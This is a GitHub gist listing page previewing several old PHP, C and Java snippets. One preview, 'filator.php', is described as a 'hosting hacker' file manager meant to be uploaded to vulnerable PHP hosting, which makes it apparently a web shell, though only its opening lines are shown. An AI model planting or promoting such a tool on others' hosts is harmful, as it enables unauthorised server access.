Skip to content

Instantly share code, notes, and snippets.

@juzna
juzna / annot.php
Created February 5, 2012 12:51
PHP annotations - experiment
<?php
#
@Pepa\B\C
@NovakA(A)
@NovakB("B")
@NovakC(a="b",c="d",e="f")
class Pepa {
@NovakConst
const myConst = 1;
@juzna
juzna / filator.php
Created February 4, 2012 13:02
php hosting hacker
<?php
/**
* Simple file manager and hosting hacker
* Upload to a vulnerable PHP hosting and open :)
*/
$self = basename($_SERVER['PHP_SELF']);
$akce = @$_GET['akce'];
$path = @$_GET['path'];
@juzna
juzna / sscanf.c
Created January 26, 2012 19:37
sscanf
#include <stdio.h>
int main (int argc, char **argv) {
char str[] = "image%06d.png", buf[100];
int num;
sscanf (str,"%s", buf);
printf ("%s\n", buf);
return 0;
@juzna
juzna / LayeredLexer.java
Created January 25, 2012 20:30
2-layer lexer for IDEA
package cz.juzna.latte.lexer;
import com.intellij.lexer.Lexer;
import com.intellij.lexer.LookAheadLexer;
import com.intellij.psi.tree.IElementType;
import com.intellij.psi.tree.TokenSet;
/**
* Uses base-lexer to get big chunks, and several of them (typesToLex) are then lexed into smaller tokens using sub-lexer.
*
@juzna
juzna / 01-choose.png
Created January 23, 2012 20:30
GitHub Play
01-choose.png
@juzna
juzna / final-test.php
Created January 16, 2012 17:12
Removing finals from PHP
<?php
$doRemoveFinal = true; // play with it
// Imagine your favorite library here (of course it has finals)
class A {
final function getName() { return 'A'; }
}
final class B {
function getName() { return 'B'; }
@juzna
juzna / test-ob.php
Created January 16, 2012 13:20
PHP Output Buffer bug
<?php
$path = "/tmp/ob.log";
$logHandle = fopen($path, 'w') or die("unable to open temp file");
ob_start(function($buffer) use ($logHandle) { fwrite($logHandle, $buffer); }, 20);
echo str_repeat("0", 20); // fill in the buffer
for($i = 0; $i < 10; $i++) {
@juzna
juzna / test.php
Created December 30, 2011 14:25
Doctrine partial fetch
<?php
// method 1 - partial fetch
{
$q = $em->createQuery("select partial a.{id,title}, length(a.body) from Model\\Article a");
$q->setMaxResults(1);
$list = $q->execute();
$entity = $list[0][0];
/*dump($entity);*/
var_dump($entity->body); // NULL as it was not fetched
@juzna
juzna / datagrid.php
Created December 28, 2011 17:43
RFC: how to DataGrid
Intro: Need to display tables of content, they need to be dynamic (pagable, sortable, filterable), how to solve it?
-------------------------------------------
1st - static table
<table>
<thead>
<tr>
<th>#</th>
<th>Published</th>
@juzna
juzna / EntitySelectBox.php
Created December 27, 2011 14:54
EntitySelectBox
<?php
use Nette\Forms\Controls\BaseControl,
Nella\Models\IEntity;
/**
* Select box control that display entities
*
* @author Jan Dolecek <juzna.cz@gmail.com>
*/